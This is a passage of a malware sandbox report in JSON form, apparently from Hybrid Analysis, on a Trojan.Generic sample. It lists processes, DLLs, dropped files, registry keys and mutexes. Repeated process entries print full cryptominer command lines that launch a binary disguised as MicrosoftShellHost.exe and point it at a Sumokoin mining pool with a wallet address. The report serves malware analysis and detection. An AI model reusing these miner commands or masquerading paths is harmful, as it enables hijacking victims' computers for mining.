Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00022104-00000860","uid":"00022110-00000268"},{"pid":1412,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00022693-00001412"},{"pid":1364,"ppid":1412,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00022693-00001412","uid":"00022698-00001364"},{"pid":1384,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00023282-00001384"},{"pid":2976,"ppid":1384,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00023282-00001384","uid":"00023287-00002976"},{"pid":3064,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00023870-00003064"},{"pid":1852,"ppid":3064,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00023870-00003064","uid":"00023876-00001852"},{"pid":1704,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00024459-00001704"},{"pid":1680,"ppid":1704,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00024459-00001704","uid":"00024465-00001680"},{"pid":2268,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00025048-00002268"},{"pid":2920,"ppid":2268,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00025048-00002268","uid":"00025054-00002920"},{"pid":2084,"ppid":2464,"name":"cmd.exe","command_line":"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0","sha256":"db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00013426-00002464","uid":"00025637-00002084"},{"pid":492,"ppid":2084,"name":"MicrosoftShellHost.exe","command_line":"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","normalized_path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","parent_uid":"00025637-00002084","uid":"00025642-00000492"}],"all_imported_dlls":["iertutil.dll","IPHLPAPI.DLL","comdlg32.dll","GdiPlus.dll","bcryptprimitives.dll","uxtheme.dll","dxgi.dll","gpapi.dll","ntmarta.dll","usp10.dll","advapi32.dll","psapi.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","webio.dll","wship6.dll","clbcatq.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","shlwapi.dll","mpr.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","dhcpcsvc.dll","rsaenh.dll","wshqos.dll","apphelp.dll","ktmw32.dll","ws2_32.dll","msvcrt.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","msimg32.dll","ieframe.dll","propsys.dll","DWrite.dll","d3d11.dll","api-ms-win-downlevel-version-l1-1-0.dll","profapi.dll","dwmapi.dll","winhttp.dll","urlmon.dll","msimtf.dll","ncrypt.dll","devobj.dll","sechost.dll","user32.dll","kernel32.dll","wsock32.dll","RpcRtRemote.dll","ntdll.dll","api-ms-win-downlevel-user32-l1-1-0.dll","oleaut32.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","dhcpcsvc6.dll","WSHTCPIP.DLL","cryptsp.dll","winmm.dll","userenv.dll","shell32.dll","secur32.dll","rasadhlp.dll","xmllite.dll","d2d1.dll","cryptnet.dll","nlaapi.dll","mshtml.dll","msls31.dll","credssp.dll","oleacc.dll","setupapi.dll","rpcrt4.dll","winnsi.dll","imm32.dll","msctf.dll","dnsapi.dll","netprofm.dll","Wldap32.dll","SensApi.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","cryptbase.dll","sspicli.dll","npmproxy.dll","taskschd.dll","oleaccrc.dll","KernelBase.dll","nsi.dll","normaliz.dll","ole32.dll","mswsock.dll","FWPUCLNT.DLL","crypt32.dll","cfgmgr32.dll","gdi32.dll","mlang.dll","schannel.dll","bcrypt.dll","UIAutomationCore.dll","api-ms-win-core-synch-l1-2-0.dll","version.dll","wininet.dll","rpcss.dll","winbrand.dll","wintrust.dll","msasn1.dll","WindowsCodecs.dll","d3d10warp.dll","lpk.dll","comctl32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"ShellExperienceHost.exe","sha256":"84b2da89e397a1a05dd907894064041af7650c79f9a1c95cb75b198042e6add2","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"MicrosoftShellHost.exe","sha256":"f3dcd708fa099902ceaa43f319c55604db3c867503804bd762b20bdaff75d533","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"Host.exe","sha256":"a986af3a3315acf34629729d706242de0299774fcc4041a36c0036a3fc2a4d95","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"Host.txt","sha256":"31cdfbc5f15c74ab323928e262bc4f6e7b5e0c009012c28e5d03225cfd088b97","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"F0Z2BABH.txt","sha256":"9e389ea2c14d6f6a74d04469c822b7c6c166fde1769cfdb1fd831a21ceefb178","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"1fwr47[1].png","sha256":"b02fffaba9e664ff7840c82b102d6851ec0bb148cec462cef40999545309e599","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"Host[1].txt","sha256":"31cdfbc5f15c74ab323928e262bc4f6e7b5e0c009012c28e5d03225cfd088b97","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"1BB09BEEC155258835C193A7AA85AA5B_AC85A8C4501E1E5E1513F95D3B838B12","sha256":"9cd8bdb3ad1afc72573d1e78f411552956cb106b82bab66c7d475e3fafc74d66","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220","sha256":"6718c8ca4944059a38a2a04c995f69b4f07d6fe35bcaedb4fc72fe6a441e7179","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4","sha256":"a6bddd26f77cf373e6815e3844f2bdb19fcc34d88a0b200c0872dd0f8a11189b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]}],"files_written":[{"path":"C:\\775823294439f2c459d1b13dde03091ba79221d2cd9956039b47dfe51832924a.exe","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CP53U0VR\\Host[1].txt","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%TEMP%\\Host.txt","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%WINDIR%\\System32\\en-US\\schtasks.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%ALLUSERSPROFILE%\\System32","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%ALLUSERSPROFILE%\\System32\\Logs","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%TEMP%\\Host.exe","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%WINDIR%\\Fonts\\times.ttf","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%ALLUSERSPROFILE%\\WindowsTask","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%ALLUSERSPROFILE%\\System32\\Logs\\ShellExperienceHost.exe","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%WINDIR%\\AppPatch\\AppPatch64\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%WINDIR%\\System32\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_76125806E8CF735FD0B67DD73E892015","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\3B6E683A7A45CC59BF035C9BA8C7AB9D","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_1790C2BABAA04BAF417FFE9589C10997","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\CC42971B7939A9CA55C44CFC893D7C1D","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_182E4F02EE8DBED312C20F8D961A35F5","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\F0060A9F9287878B15AB61E0E47645E5","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_AC85A8C4501E1E5E1513F95D3B838B12","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_AC85A8C4501E1E5E1513F95D3B838B12","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\F0Z2BABH.txt","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CP53U0VR\\1fwr47[1].png","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Internet Explorer\\MSIMGSIZ.DAT","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%WINDIR%\\System32\\oleaccrc.dll","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%WINDIR%\\System32\\en-US\\shell32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\0A-00-27-00-00-00\\","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{13C4E657-95AE-4E99-9C74-268A24CDB988}\\0A-00-27-00-00-00\\","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\MSIMGSIZECacheMutex","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\_!SHMSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"!IECompat!Mutex","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"name":"Local\\MSIMGSIZECacheMutex","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]}]}},"report_ids":{"sandbox_job_ids":["5a5a687a7ca3e1515f50aa8e"]}}}]]}] 1d:null 21:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 775823294439… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 775823294439…. Malware family: Trojan.Generic. Threat score 100/100. 0/0 AV engines flagged this file. 13 malicious and 27 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/775823294439f2c459d1b13dde03091ba79221d2cd9956039b47dfe51832924a"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 775823294439… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 775823294439…. Malware family: Trojan.Generic. Threat score 100/100. 0/0 AV engines flagged this file. 13 malicious and 27 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/775823294439f2c459d1b13dde03091ba79221d2cd9956039b47dfe51832924a"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 775823294439… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 775823294439…. Malware family: Trojan.Generic. Threat score 100/100. 0/0 AV engines flagged this file. 13 malicious and 27 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L35","11",{}]]